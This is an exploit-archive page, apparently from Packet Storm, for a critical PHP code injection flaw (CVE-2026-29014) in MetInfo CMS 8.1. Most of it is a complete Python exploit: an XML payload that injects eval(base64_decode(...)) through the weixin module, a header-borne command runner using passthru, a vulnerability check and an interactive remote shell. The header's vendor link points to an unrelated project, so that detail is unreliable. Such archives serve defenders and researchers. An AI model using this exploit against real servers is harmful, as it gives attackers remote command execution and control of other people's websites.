PACKETSTORM 9.8 CRITICAL

📄 MetInfo CMS 8.1 PHP Code Injection_PACKETSTORM:219760

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This Python script is a full remote code execution exploit suite targeting a vulnerability in MetInfo CMS versions 8.1 and below. The flaw resides in the weixin module handling logic, where improperly sanitized input allows PHP code injection via...
Visit Original Source

Basic Information

ID PACKETSTORM:219760
Published Apr 24, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : MetInfo CMS 8.1 PHP Code Injection RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/facebookincubator/below |
==================================================================================================================================

[+] Summary : This Python script is a full remote code execution (RCE) exploit suite targeting a vulnerability in MetInfo CMS (≤ 8.1), identified as CVE-2026-29014.
The flaw resides in the weixin module handling logic, where improperly sanitized input allows PHP code injection via crafted XML and HTTP parameters/headers.


[+] POC :

#!/usr/bin/env python3

import requests
import sys
import argparse
import base64
import re
import time
import random
import string
from urllib.parse import urljoin
from threading import Thread
import socket
import telnetlib

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = """
╔═══════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29014 - MetInfo CMS PHP Code Injection by indoushka ║
╚═══════════════════════════════════════════════════════════════════════════╝
"""


class MetInfoExploit:
def __init__(self, target_url, proxy=None, timeout=30, verbose=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
self.vuln_path = "/app/system/entrance.php"
self.params = {
'n': 'include',
'm': 'module',
'c': 'weixin',
'a': 'doapi'
}
self.injection_header = None
self.webshell_url = None

if proxy:
self.session.proxies = {'http': proxy, 'https': proxy}

def log(self, msg, level="[+]"):
if self.verbose or level in ["[+]", "[!]", "[-]"]:
print(f"{level} {msg}")

def trigger_cache_write(self):
"""Trigger initial cache write"""
self.log("Triggering initial cache write...")

payload = '''<x>
<MsgType>event</MsgType>
<Event>SCAN</Event>
<EventKey>adminlogin&../config/tables</EventKey>
<FromUserName>{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}{${die()}}</FromUserName>
</x>'''

url = urljoin(self.target_url, self.vuln_path)

try:
response = self.session.post(
url,
params=self.params,
data=payload,
headers={'Content-Type': 'application/xml'},
timeout=self.timeout
)

return response.status_code == 200

except requests.exceptions.RequestException:
return False

def build_php_payload(self, cmd, php_func='passthru'):
b64_cmd = base64.b64encode(cmd.encode()).decode()
php_code = f"chdir('../..');print('_____');{php_func}(base64_decode('{b64_cmd}'));print('_____');"
return base64.b64encode(php_code.encode()).decode()

def execute_command(self, cmd, php_func='passthru'):
self.trigger_cache_write()

b64_payload = self.build_php_payload(cmd, php_func)
self.injection_header = f"C: {b64_payload}"

payload = '''<x>
<MsgType>event</MsgType>
<Event>SCAN</Event>
<EventKey>adminlogin&Array</EventKey>
<FromUserName>test</FromUserName>
</x>'''

url = urljoin(self.target_url, self.vuln_path)

try:
response = self.session.post(
url,
params=self.params,
data=payload,
headers={
'Content-Type': 'application/xml',
'C': self.injection_header
},
timeout=self.timeout
)

if response.status_code == 200:
match = re.search(r'_____(.*?)_____', response.text, re.DOTALL)
if match:
return match.group(1).strip()
return response.text.strip()

except requests.exceptions.RequestException:
pass

return None

def check_vulnerability(self):
self.log("Checking vulnerability...")

test = self.execute_command("echo CVE_2026_29014_TEST")

if test and "CVE_2026_29014_TEST" in test:
self.log("VULNERABLE!", "[+]")
return True

self.log("Not vulnerable", "[-]")
return False

def interactive_shell(self):
while True:
try:
cmd = input("shell# ").strip()
if cmd in ["exit", "quit"]:
break

result = self.execute_command(cmd)
print(result if result else "[no output]")

except KeyboardInterrupt:
break


def exploit_metinfo_rce(target_url, cmd=None, interactive=False,
proxy=None, verbose=False):

exploit = MetInfoExploit(target_url, proxy, verbose=verbose)

if not exploit.check_vulnerability():
return False

if cmd:
print(exploit.execute_command(cmd))
return True

if interactive:
exploit.interactive_shell()

return True


def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-c', '--command')
parser.add_argument('-i', '--interactive', action='store_true')
parser.add_argument('--proxy')
parser.add_argument('-v', '--verbose', action='store_true')

args = parser.parse_args()

print(BANNER)

exploit_metinfo_rce(
target_url=args.url,
cmd=args.command,
interactive=args.interactive,
proxy=args.proxy,
verbose=args.verbose
)


if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.